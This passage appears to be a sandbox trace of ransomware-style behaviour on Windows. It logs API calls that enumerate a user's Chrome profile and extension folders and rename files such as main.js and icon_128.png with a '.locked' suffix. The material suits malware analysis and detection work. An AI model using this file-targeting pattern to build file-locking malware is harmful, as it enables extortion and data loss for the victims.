ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b8b0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.783] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.locked"), dwFlags=0x2) returned 1 [0133.787] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2bb1240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2bb1240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.793] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.locked"), dwFlags=0x2) returned 1 [0133.797] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2bb1240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2bb1240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.810] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2bd73a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2bd73a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0133.814] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x428418 | out: lpFindFileData=0x428418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2bd73a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2bd73a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428200, cFileName=".", cAlternateFileName="")) returned 0x825a90 [0133.820] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.locked"), dwFlags=0x2) returned 1 [0133.822] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.locked"), dwFlags=0x2) returned 1 [0133.825] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.locked"), dwFlags=0x2) returned 1 [0133.830] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.locked"), dwFlags=0x2) returned 1 [0133.833] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x427ab0 | out: lpFindFileData=0x427ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x427898, cFileName=".", cAlternateFileName="")) returned 0x825ad0 [0133.835] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.836] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.838] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.840] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.842] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.843] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.845] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.847] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c23660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c23660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.849] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.851] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.853] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.858] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.859] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.861] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c497c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c497c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.863] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.865] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.866] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.868] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.870] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.872] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.873] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.875] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.877] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c6f920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c6f920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.879] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.880] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2c95a80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2c95a80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.882] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x427148 | out: 